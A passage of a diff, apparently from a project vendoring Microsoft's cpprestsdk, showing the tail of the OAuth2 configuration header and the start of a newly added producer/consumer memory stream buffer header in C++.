void set_token_endpoint(utility::string_t token_endpoint) { m_token_endpoint = std::move(token_endpoint); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get redirect URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Redirect URI string.</returns>
|
||||||
|
const utility::string_t& redirect_uri() const { return m_redirect_uri; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set redirect URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="redirect_uri">Redirect URI string to set.</param>
|
||||||
|
void set_redirect_uri(utility::string_t redirect_uri) { m_redirect_uri = std::move(redirect_uri); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get scope used in authorization for token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Scope string used in authorization.</returns>
|
||||||
|
const utility::string_t& scope() const { return m_scope; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set scope for authorization for token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="scope">Scope string for authorization for token.</param>
|
||||||
|
void set_scope(utility::string_t scope) { m_scope = std::move(scope); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get client state string used in authorization.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Client state string used in authorization.</returns>
|
||||||
|
const utility::string_t& state() { return m_state; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set client state string for authorization for token.
|
||||||
|
/// The state string is used in authorization for security reasons
|
||||||
|
/// (to uniquely identify authorization sessions).
|
||||||
|
/// If desired, suitably secure state string can be automatically generated
|
||||||
|
/// by build_authorization_uri().
|
||||||
|
/// A good state string consist of 30 or more random alphanumeric characters.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="state">Client authorization state string to set.</param>
|
||||||
|
void set_state(utility::string_t state) { m_state = std::move(state); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token.</returns>
|
||||||
|
const oauth2_token& token() const { return m_token; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="token">Token to set.</param>
|
||||||
|
void set_token(oauth2_token token) { m_token = std::move(token); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get implicit grant setting for authorization.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Implicit grant setting for authorization.</returns>
|
||||||
|
bool implicit_grant() const { return m_implicit_grant; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set implicit grant setting for authorization.
|
||||||
|
/// False means authorization code grant is used for authorization.
|
||||||
|
/// True means implicit grant is used.
|
||||||
|
/// Default: False.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="implicit_grant">The implicit grant setting to set.</param>
|
||||||
|
void set_implicit_grant(bool implicit_grant) { m_implicit_grant = implicit_grant; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get bearer token authentication setting.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Bearer token authentication setting.</returns>
|
||||||
|
bool bearer_auth() const { return m_bearer_auth; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set bearer token authentication setting.
|
||||||
|
/// This must be selected based on what the service accepts.
|
||||||
|
/// True means access token is passed in the request header. (http://tools.ietf.org/html/rfc6750#section-2.1)
|
||||||
|
/// False means access token in passed in the query parameters. (http://tools.ietf.org/html/rfc6750#section-2.3)
|
||||||
|
/// Default: True.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="bearer_auth">The bearer token authentication setting to set.</param>
|
||||||
|
void set_bearer_auth(bool bearer_auth) { m_bearer_auth = bearer_auth; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get HTTP Basic authentication setting for token endpoint.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>HTTP Basic authentication setting for token endpoint.</returns>
|
||||||
|
bool http_basic_auth() const { return m_http_basic_auth; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set HTTP Basic authentication setting for token endpoint.
|
||||||
|
/// This setting must be selected based on what the service accepts.
|
||||||
|
/// True means HTTP Basic authentication is used for the token endpoint.
|
||||||
|
/// False means client key & secret are passed in the HTTP request body.
|
||||||
|
/// Default: True.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="http_basic_auth">The HTTP Basic authentication setting to set.</param>
|
||||||
|
void set_http_basic_auth(bool http_basic_auth) { m_http_basic_auth = http_basic_auth; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get access token key.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Access token key string.</returns>
|
||||||
|
const utility::string_t& access_token_key() const { return m_access_token_key; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set access token key.
|
||||||
|
/// If the service requires a "non-standard" key you must set it here.
|
||||||
|
/// Default: "access_token".
|
||||||
|
/// </summary>
|
||||||
|
void set_access_token_key(utility::string_t access_token_key) { m_access_token_key = std::move(access_token_key); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the web proxy object
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the web proxy object.</returns>
|
||||||
|
const web_proxy& proxy() const { return m_proxy; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the web proxy object that will be used by token_from_code and token_from_refresh
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="proxy">A reference to the web proxy object.</param>
|
||||||
|
void set_proxy(const web_proxy& proxy) { m_proxy = proxy; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get user agent to be used in oauth2 flows.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>User agent string.</returns>
|
||||||
|
const utility::string_t& user_agent() const { return m_user_agent; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set user agent to be used in oauth2 flows.
|
||||||
|
/// If none is provided a default user agent is provided.
|
||||||
|
/// </summary>
|
||||||
|
void set_user_agent(utility::string_t user_agent) { m_user_agent = std::move(user_agent); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class web::http::client::http_client_config;
|
||||||
|
friend class web::http::oauth2::details::oauth2_handler;
|
||||||
|
|
||||||
|
oauth2_config() : m_implicit_grant(false), m_bearer_auth(true), m_http_basic_auth(true) {}
|
||||||
|
|
||||||
|
_ASYNCRTIMP pplx::task<void> _request_token(uri_builder& request_body);
|
||||||
|
|
||||||
|
oauth2_token _parse_token_from_json(const json::value& token_json);
|
||||||
|
|
||||||
|
void _authenticate_request(http_request& req) const
|
||||||
|
{
|
||||||
|
if (bearer_auth())
|
||||||
|
{
|
||||||
|
req.headers().add(header_names::authorization, _XPLATSTR("Bearer ") + token().access_token());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uri_builder ub(req.request_uri());
|
||||||
|
ub.append_query(access_token_key(), token().access_token());
|
||||||
|
req.set_request_uri(ub.to_uri());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
utility::string_t m_client_key;
|
||||||
|
utility::string_t m_client_secret;
|
||||||
|
utility::string_t m_auth_endpoint;
|
||||||
|
utility::string_t m_token_endpoint;
|
||||||
|
utility::string_t m_redirect_uri;
|
||||||
|
utility::string_t m_scope;
|
||||||
|
utility::string_t m_state;
|
||||||
|
utility::string_t m_user_agent;
|
||||||
|
|
||||||
|
web::web_proxy m_proxy;
|
||||||
|
|
||||||
|
bool m_implicit_grant;
|
||||||
|
bool m_bearer_auth;
|
||||||
|
bool m_http_basic_auth;
|
||||||
|
utility::string_t m_access_token_key;
|
||||||
|
|
||||||
|
oauth2_token m_token;
|
||||||
|
|
||||||
|
utility::nonce_generator m_state_generator;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace experimental
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class oauth2_handler : public http_pipeline_stage
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth2_handler(std::shared_ptr<experimental::oauth2_config> cfg) : m_config(std::move(cfg)) {}
|
||||||
|
|
||||||
|
virtual pplx::task<http_response> propagate(http_request request) override
|
||||||
|
{
|
||||||
|
if (m_config)
|
||||||
|
{
|
||||||
|
m_config->_authenticate_request(request);
|
||||||
|
}
|
||||||
|
return next_stage()->propagate(request);
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::shared_ptr<experimental::oauth2_config> m_config;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace oauth2
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,655 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* This file defines a basic memory-based stream buffer, which allows consumer / producer pairs to communicate
|
||||||
|
* data via a buffer.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_PRODUCER_CONSUMER_STREAMS_H
|
||||||
|
#define CASA_PRODUCER_CONSUMER_STREAMS_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/astreambuf.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <algorithm>
|
||||||
|
#include <iterator>
|
||||||
|
#include <queue>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace Concurrency
|
||||||
|
{
|
||||||
|
namespace streams
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The basic_producer_consumer_buffer class serves as a memory-based steam buffer that supports both writing and
|
||||||
|
/// reading sequences of characters. It can be used as a consumer/producer buffer.
|
||||||
|
/// </summary>
|
||||||
|
template<typename _CharType>
|
||||||
|
class basic_producer_consumer_buffer : public streams::details::streambuf_state_manager<_CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef typename ::concurrency::streams::char_traits<_CharType> traits;
|
||||||
|
typedef typename basic_streambuf<_CharType>::int_type int_type;
|
||||||
|
typedef typename basic_streambuf<_CharType>::pos_type pos_type;
|
||||||
|
typedef typename basic_streambuf<_CharType>::off_type off_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
basic_producer_consumer_buffer(size_t alloc_size)
|
||||||
|
: streambuf_state_manager<_CharType>(std::ios_base::out | std::ios_base::in)
|
||||||
|
, m_alloc_size(alloc_size)
|
||||||
|
, m_allocBlock(nullptr)
|
||||||
|
, m_total(0)
|
||||||
|
, m_total_read(0)
|
||||||
|
, m_total_written(0)
|
||||||
|
, m_synced(0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Destructor
|
||||||
|
/// </summary>
|
||||||
|
virtual ~basic_producer_consumer_buffer()
|
||||||
|
{
|
||||||
|
// Note: there is no need to call 'wait()' on the result of close(),
|
||||||
|
// since we happen to know that close() will return without actually
|
||||||
|
// doing anything asynchronously. Should the implementation of _close_write()
|
||||||
|
// change in that regard, this logic may also have to change.
|
||||||
|
this->_close_read();
|
||||||
|
this->_close_write();
|
||||||
|
|
||||||
|
_ASSERTE(m_requests.empty());
|
||||||
|
m_blocks.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <c>can_seek<c/> is used to determine whether a stream buffer supports seeking.
|
||||||
|
/// </summary>
|
||||||
|
virtual bool can_seek() const { return false; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <c>has_size<c/> is used to determine whether a stream buffer supports size().
|
||||||
|
/// </summary>
|
||||||
|
virtual bool has_size() const { return false; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the stream buffer size, if one has been set.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="direction">The direction of buffering (in or out)</param>
|
||||||
|
/// <remarks>An implementation that does not support buffering will always return '0'.</remarks>
|
||||||
|
virtual size_t buffer_size(std::ios_base::openmode = std::ios_base::in) const { return 0; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the stream buffer implementation to buffer or not buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="size">The size to use for internal buffering, 0 if no buffering should be done.</param>
|
||||||
|
/// <param name="direction">The direction of buffering (in or out)</param>
|
||||||
|
/// <remarks>An implementation that does not support buffering will silently ignore calls to this function and it
|
||||||
|
/// will not have any effect on what is returned by subsequent calls to <see cref="::buffer_size method"
|
||||||
|
/// />.</remarks>
|
||||||
|
virtual void set_buffer_size(size_t, std::ios_base::openmode = std::ios_base::in) { return; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// For any input stream, <c>in_avail</c> returns the number of characters that are immediately available
|
||||||
|
/// to be consumed without blocking. May be used in conjunction with <cref="::sbumpc method"/> to read data without
|
||||||
|
/// incurring the overhead of using tasks.
|
||||||
|
/// </summary>
|
||||||
|
virtual size_t in_avail() const { return m_total; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the current read or write position in the stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="direction">The I/O direction to seek (see remarks)</param>
|
||||||
|
/// <returns>The current position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors.
|
||||||
|
/// For such streams, the direction parameter defines whether to move the read or the write
|
||||||
|
/// cursor.</remarks>
|
||||||
|
virtual pos_type getpos(std::ios_base::openmode mode) const
|
||||||
|
{
|
||||||
|
if (((mode & std::ios_base::in) && !this->can_read()) || ((mode & std::ios_base::out) && !this->can_write()))
|
||||||
|
return static_cast<pos_type>(traits::eof());
|
||||||
|
|
||||||
|
if (mode == std::ios_base::in)
|
||||||
|
return (pos_type)m_total_read;
|
||||||
|
else if (mode == std::ios_base::out)
|
||||||
|
return (pos_type)m_total_written;
|
||||||
|
else
|
||||||
|
return (pos_type)traits::eof();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Seeking is not supported
|
||||||
|
virtual pos_type seekpos(pos_type, std::ios_base::openmode) { return (pos_type)traits::eof(); }
|
||||||
|
virtual pos_type seekoff(off_type, std::ios_base::seekdir, std::ios_base::openmode)
|
||||||
|
{
|
||||||
|
return (pos_type)traits::eof();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Allocates a contiguous memory block and returns it.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="count">The number of characters to allocate.</param>
|
||||||
|
/// <returns>A pointer to a block to write to, null if the stream buffer implementation does not support
|
||||||
|
/// alloc/commit.</returns>
|
||||||
|
virtual _CharType* _alloc(size_t count)
|
||||||
|
{
|
||||||
|
if (!this->can_write())
|
||||||
|
{
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// We always allocate a new block even if the count could be satisfied by
|
||||||
|
// the current write block. While this does lead to wasted space it allows for
|
||||||
|
// easier book keeping
|
||||||
|
|
||||||
|
_ASSERTE(!m_allocBlock);
|
||||||
|
m_allocBlock = std::make_shared<_block>(count);
|
||||||
|
return m_allocBlock->wbegin();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Submits a block already allocated by the stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="count">The number of characters to be committed.</param>
|
||||||
|
virtual void _commit(size_t count)
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
|
||||||
|
// The count does not reflect the actual size of the block.
|
||||||
|
// Since we do not allow any more writes to this block it would suffice.
|
||||||
|
// If we ever change the algorithm to reuse blocks then this needs to be revisited.
|
||||||
|
|
||||||
|
_ASSERTE((bool)m_allocBlock);
|
||||||
|
m_allocBlock->update_write_head(count);
|
||||||
|
m_blocks.push_back(m_allocBlock);
|
||||||
|
m_allocBlock = nullptr;
|
||||||
|
|
||||||
|
update_write_head(count);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a pointer to the next already allocated contiguous block of data.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ptr">A reference to a pointer variable that will hold the address of the block on success.</param>
|
||||||
|
/// <param name="count">The number of contiguous characters available at the address in 'ptr'.</param>
|
||||||
|
/// <returns><c>true</c> if the operation succeeded, <c>false</c> otherwise.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// A return of false does not necessarily indicate that a subsequent read operation would fail, only that
|
||||||
|
/// there is no block to return immediately or that the stream buffer does not support the operation.
|
||||||
|
/// The stream buffer may not de-allocate the block until <see cref="::release method" /> is called.
|
||||||
|
/// If the end of the stream is reached, the function will return <c>true</c>, a null pointer, and a count of zero;
|
||||||
|
/// a subsequent read will not succeed.
|
||||||
|
/// </remarks>
|
||||||
|
virtual bool acquire(_Out_ _CharType*& ptr, _Out_ size_t& count)
|
||||||
|
{
|
||||||
|
count = 0;
|
||||||
|
ptr = nullptr;
|
||||||
|
|
||||||
|
if (!this->can_read()) return false;
|
||||||
|
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
|
||||||
|
if (m_blocks.empty())
|
||||||
|
{
|
||||||
|
// If the write head has been closed then have reached the end of the
|
||||||
|
// stream (return true), otherwise more data could be written later (return false).
|
||||||
|
return !this->can_write();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
auto block = m_blocks.front();
|
||||||
|
|
||||||
|
count = block->rd_chars_left();
|
||||||
|
ptr = block->rbegin();
|
||||||
|
|
||||||
|
_ASSERTE(ptr != nullptr);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Releases a block of data acquired using <see cref="::acquire method"/>. This frees the stream buffer to
|
||||||
|
/// de-allocate the memory, if it so desires. Move the read position ahead by the count.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ptr">A pointer to the block of data to be released.</param>
|
||||||
|
/// <param name="count">The number of characters that were read.</param>
|
||||||
|
virtual void release(_Out_writes_opt_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
if (ptr == nullptr) return;
|
||||||
|
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
auto block = m_blocks.front();
|
||||||
|
|
||||||
|
_ASSERTE(block->rd_chars_left() >= count);
|
||||||
|
block->m_read += count;
|
||||||
|
|
||||||
|
update_read_head(count);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual pplx::task<bool> _sync()
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
|
||||||
|
m_synced = in_avail();
|
||||||
|
|
||||||
|
fulfill_outstanding();
|
||||||
|
|
||||||
|
return pplx::task_from_result(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _putc(_CharType ch)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result((this->write(&ch, 1) == 1) ? static_cast<int_type>(ch) : traits::eof());
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _putn(const _CharType* ptr, size_t count)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result<size_t>(this->write(ptr, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _getn(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
pplx::task_completion_event<size_t> tce;
|
||||||
|
enqueue_request(_request(count, [this, ptr, count, tce]() {
|
||||||
|
// VS 2010 resolves read to a global function. Explicit
|
||||||
|
// invocation through the "this" pointer fixes the issue.
|
||||||
|
tce.set(this->read(ptr, count));
|
||||||
|
}));
|
||||||
|
return pplx::create_task(tce);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual size_t _sgetn(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
return can_satisfy(count) ? this->read(ptr, count) : (size_t)traits::requires_async();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual size_t _scopy(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
return can_satisfy(count) ? this->read(ptr, count, false) : (size_t)traits::requires_async();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _bumpc()
|
||||||
|
{
|
||||||
|
pplx::task_completion_event<int_type> tce;
|
||||||
|
enqueue_request(_request(1, [this, tce]() { tce.set(this->read_byte(true)); }));
|
||||||
|
return pplx::create_task(tce);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual int_type _sbumpc()
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
return can_satisfy(1) ? this->read_byte(true) : traits::requires_async();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _getc()
|
||||||
|
{
|
||||||
|
pplx::task_completion_event<int_type> tce;
|
||||||
|
enqueue_request(_request(1, [this, tce]() { tce.set(this->read_byte(false)); }));
|
||||||
|
return pplx::create_task(tce);
|
||||||
|
}
|
||||||
|
|
||||||
|
int_type _sgetc()
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
return can_satisfy(1) ? this->read_byte(false) : traits::requires_async();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _nextc()
|
||||||
|
{
|
||||||
|
pplx::task_completion_event<int_type> tce;
|
||||||
|
enqueue_request(_request(1, [this, tce]() {
|
||||||
|
this->read_byte(true);
|
||||||
|
tce.set(this->read_byte(false));
|
||||||
|
}));
|
||||||
|
return pplx::create_task(tce);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _ungetc() { return pplx::task_from_result<int_type>(traits::eof()); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// <summary>
|
||||||
|
/// Close the stream buffer for writing
|
||||||
|
/// </summary>
|
||||||
|
pplx::task<void> _close_write()
|
||||||
|
{
|
||||||
|
// First indicate that there could be no more writes.
|
||||||
|
// Fulfill outstanding relies on that to flush all the
|
||||||
|
// read requests.
|
||||||
|
this->m_stream_can_write = false;
|
||||||
|
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(this->m_lock);
|
||||||
|
|
||||||
|
// This runs on the thread that called close.
|
||||||
|
this->fulfill_outstanding();
|
||||||
|
}
|
||||||
|
|
||||||
|
return pplx::task_from_result();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Updates the write head by an offset specified by count
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>This should be called with the lock held</remarks>
|
||||||
|
void update_write_head(size_t count)
|
||||||
|
{
|
||||||
|
m_total += count;
|
||||||
|
m_total_written += count;
|
||||||
|
fulfill_outstanding();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Writes count characters from ptr into the stream buffer
|
||||||
|
/// </summary>
|
||||||
|
size_t write(const _CharType* ptr, size_t count)
|
||||||
|
{
|
||||||
|
if (!this->can_write() || (count == 0)) return 0;
|
||||||
|
|
||||||
|
// If no one is going to read, why bother?
|
||||||
|
// Just pretend to be writing!
|
||||||
|
if (!this->can_read()) return count;
|
||||||
|
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
|
||||||
|
// Allocate a new block if necessary
|
||||||
|
if (m_blocks.empty() || m_blocks.back()->wr_chars_left() < count)
|
||||||
|
{
|
||||||
|
msl::safeint3::SafeInt<size_t> alloc = m_alloc_size.Max(count);
|
||||||
|
m_blocks.push_back(std::make_shared<_block>(alloc));
|
||||||
|
}
|
||||||
|
|
||||||
|
// The block at the back is always the write head
|
||||||
|
auto last = m_blocks.back();
|
||||||
|
auto countWritten = last->write(ptr, count);
|
||||||
|
_ASSERTE(countWritten == count);
|
||||||
|
|
||||||
|
update_write_head(countWritten);
|
||||||
|
return countWritten;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fulfill pending requests
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>This should be called with the lock held</remarks>
|
||||||
|
void fulfill_outstanding()
|
||||||
|
{
|
||||||
|
while (!m_requests.empty())
|
||||||
|
{
|
||||||
|
auto req = m_requests.front();
|
||||||
|
|
||||||
|
// If we cannot satisfy the request then we need
|
||||||
|
// to wait for the producer to write data
|
||||||
|
if (!can_satisfy(req.size())) return;
|
||||||
|
|
||||||
|
// We have enough data to satisfy this request
|
||||||
|
req.complete();
|
||||||
|
|
||||||
|
// Remove it from the request queue
|
||||||
|
m_requests.pop();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a memory block
|
||||||
|
/// </summary>
|
||||||
|
class _block
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_block(size_t size) : m_read(0), m_pos(0), m_size(size), m_data(new _CharType[size]) {}
|
||||||
|
|
||||||
|
~_block() { delete[] m_data; }
|
||||||
|
|
||||||
|
// Read head
|
||||||
|
size_t m_read;
|
||||||
|
|
||||||
|
// Write head
|
||||||
|
size_t m_pos;
|
||||||
|
|
||||||
|
// Allocation size (of m_data)
|
||||||
|
size_t m_size;
|
||||||
|
|
||||||
|
// The data store
|
||||||
|
_CharType* m_data;
|
||||||
|
|
||||||
|
// Pointer to the read head
|
||||||
|
_CharType* rbegin() { return m_data + m_read; }
|
||||||
|
|
||||||
|
// Pointer to the write head
|
||||||
|
_CharType* wbegin() { return m_data + m_pos; }
|
||||||
|
|
||||||
|
// Read up to count characters from the block
|
||||||
|
size_t read(_Out_writes_(count) _CharType* dest, _In_ size_t count, bool advance = true)
|
||||||
|
{
|
||||||
|
msl::safeint3::SafeInt<size_t> avail(rd_chars_left());
|
||||||
|
auto countRead = static_cast<size_t>(avail.Min(count));
|
||||||
|
|
||||||
|
_CharType* beg = rbegin();
|
||||||
|
_CharType* end = rbegin() + countRead;
|
||||||
|
|
||||||
|
#if defined(_ITERATOR_DEBUG_LEVEL) && _ITERATOR_DEBUG_LEVEL != 0
|
||||||
|
// Avoid warning C4996: Use checked iterators under SECURE_SCL
|
||||||
|
std::copy(beg, end, stdext::checked_array_iterator<_CharType*>(dest, count));
|
||||||
|
#else
|
||||||
|
std::copy(beg, end, dest);
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
if (advance)
|
||||||
|
{
|
||||||
|
m_read += countRead;
|
||||||
|
}
|
||||||
|
|
||||||
|
return countRead;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write count characters into the block
|
||||||
|
size_t write(const _CharType* src, size_t count)
|
||||||
|
{
|
||||||
|
msl::safeint3::SafeInt<size_t> avail(wr_chars_left());
|
||||||
|
auto countWritten = static_cast<size_t>(avail.Min(count));
|
||||||
|
|
||||||
|
const _CharType* srcEnd = src + countWritten;
|
||||||
|
|
||||||
|
#if defined(_ITERATOR_DEBUG_LEVEL) && _ITERATOR_DEBUG_LEVEL != 0
|
||||||
|
// Avoid warning C4996: Use checked iterators under SECURE_SCL
|
||||||
|
std::copy(src, srcEnd, stdext::checked_array_iterator<_CharType*>(wbegin(), static_cast<size_t>(avail)));
|
||||||
|
#else
|
||||||
|
std::copy(src, srcEnd, wbegin());
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
update_write_head(countWritten);
|
||||||
|
return countWritten;
|
||||||
|
}
|
||||||
|
|
||||||
|
void update_write_head(size_t count) { m_pos += count; }
|
||||||
|
|
||||||
|
size_t rd_chars_left() const { return m_pos - m_read; }
|
||||||
|
size_t wr_chars_left() const { return m_size - m_pos; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Copy is not supported
|
||||||
|
_block(const _block&);
|
||||||
|
_block& operator=(const _block&);
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a request on the stream buffer - typically reads
|
||||||
|
/// </summary>
|
||||||
|
class _request
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef std::function<void()> func_type;
|
||||||
|
_request(size_t count, const func_type& func) : m_func(func), m_count(count) {}
|
||||||
|
|
||||||
|
void complete() { m_func(); }
|
||||||
|
|
||||||
|
size_t size() const { return m_count; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
func_type m_func;
|
||||||
|
size_t m_count;
|
||||||
|
};
|
||||||
|
|
||||||
|
void enqueue_request(_request req)
|
||||||
|
{
|
||||||
|
pplx::extensibility::scoped_critical_section_t l(m_lock);
|
||||||
|
|
||||||
|
if (can_satisfy(req.size()))
|
||||||
|
{
|
||||||
|
// We can immediately fulfill the request.
|
||||||
|
req.complete();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// We must wait for data to arrive.
|
||||||
|
m_requests.push(req);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
